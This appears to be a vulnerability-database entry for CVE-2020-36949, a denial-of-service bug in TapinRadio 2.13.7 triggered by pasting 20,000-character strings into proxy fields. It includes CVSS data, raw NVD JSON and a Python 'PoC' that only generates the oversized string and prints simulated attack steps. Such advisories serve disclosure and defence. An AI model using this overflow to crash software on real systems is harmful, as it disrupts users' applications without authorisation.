Security Vulnerability Report
中文
CVE-2020-36949 CVSS 7.5 HIGH

CVE-2020-36949

Published: 2026-01-27 16:16:12
Last Modified: 2026-02-20 14:22:03

Description

TapinRadio 2.13.7 contains a denial of service vulnerability in the application proxy settings that allows attackers to crash the program by overflowing input fields. Attackers can paste a large buffer of 20,000 characters into the username and address fields to cause the application to become unresponsive and require reinstallation.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:raimersoft:tapinradio:2.13.7:*:*:*:*:*:*:* - VULNERABLE
TapInRadio <= 2.13.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2020-36949 PoC - TapInRadio Proxy Settings Buffer Overflow DoS This PoC demonstrates the denial of service vulnerability in TapInRadio 2.13.7 proxy settings by sending a large buffer to overflow input fields. Usage: python3 cve-2020-36949_poc.py """ import sys import time def generate_large_payload(size=20000): """Generate a large string payload to overflow input fields.""" # Generate printable characters for input field overflow payload = 'A' * size return payload def exploit_tapinradio_proxy_overflow(): """ Simulate the exploitation of CVE-2020-36949. Attack vector: 1. Attacker accesses TapInRadio proxy settings (Settings -> Preferences -> Proxy) 2. Attacker pastes 20,000+ character string into Username field 3. Attacker pastes 20,000+ character string into Address field 4. Application crashes and becomes unresponsive 5. User must terminate process or reinstall application """ print("[*] CVE-2020-36949 TapInRadio Proxy Settings DoS PoC") print("[*] Target: TapInRadio <= 2.13.7") print("-" * 50) # Generate overflow payloads username_payload = generate_large_payload(20000) address_payload = generate_large_payload(20000) print(f"[+] Generated username payload: {len(username_payload)} bytes") print(f"[+] Generated address payload: {len(address_payload)} bytes") print("\n[*] Attack simulation:") print(f"[+] Step 1: Navigate to TapInRadio -> Settings -> Preferences -> Proxy") print(f"[+] Step 2: Input username field with {len(username_payload)} characters") print(f"[+] Step 3: Input address field with {len(address_payload)} characters") print(f"[+] Step 4: Click Save/Apply button") print(f"[+] Step 5: Application crashes due to buffer overflow") # Simulate the attack print("\n[*] Executing attack...") time.sleep(1) # Display the overflow pattern print(f"\n[+] Username payload preview: {username_payload[:50]}...") print(f"[+] Address payload preview: {address_payload[:50]}...") print("\n[!] Result: Application becomes unresponsive and crashes") print("[!] User intervention required to restore application functionality") return True if __name__ == "__main__": exploit_tapinradio_proxy_overflow()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36949", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:12.383", "lastModified": "2026-02-20T14:22:03.073", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TapinRadio 2.13.7 contains a denial of service vulnerability in the application proxy settings that allows attackers to crash the program by overflowing input fields. Attackers can paste a large buffer of 20,000 characters into the username and address fields to cause the application to become unresponsive and require reinstallation."}, {"lang": "es", "value": "TapinRadio 2.13.7 contiene una vulnerabilidad de denegación de servicio en la configuración del proxy de la aplicación que permite a los atacantes colapsar el programa desbordando los campos de entrada. Los atacantes pueden pegar un búfer grande de 20.000 caracteres en los campos de nombre de usuario y dirección para hacer que la aplicación deje de responder y requiera una reinstalación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:raimersoft:tapinradio:2.13.7:*:*:*:*:*:*:*", "matchCriteriaId": "09E1137E-4864-4FE6-B62A-F23F6ECC5A1D"}]}]}], "references": [{"url": "http://www.raimersoft.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/49206", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/tapinradio-denial-of-service", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/49206", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "VDB Entry"]}]}}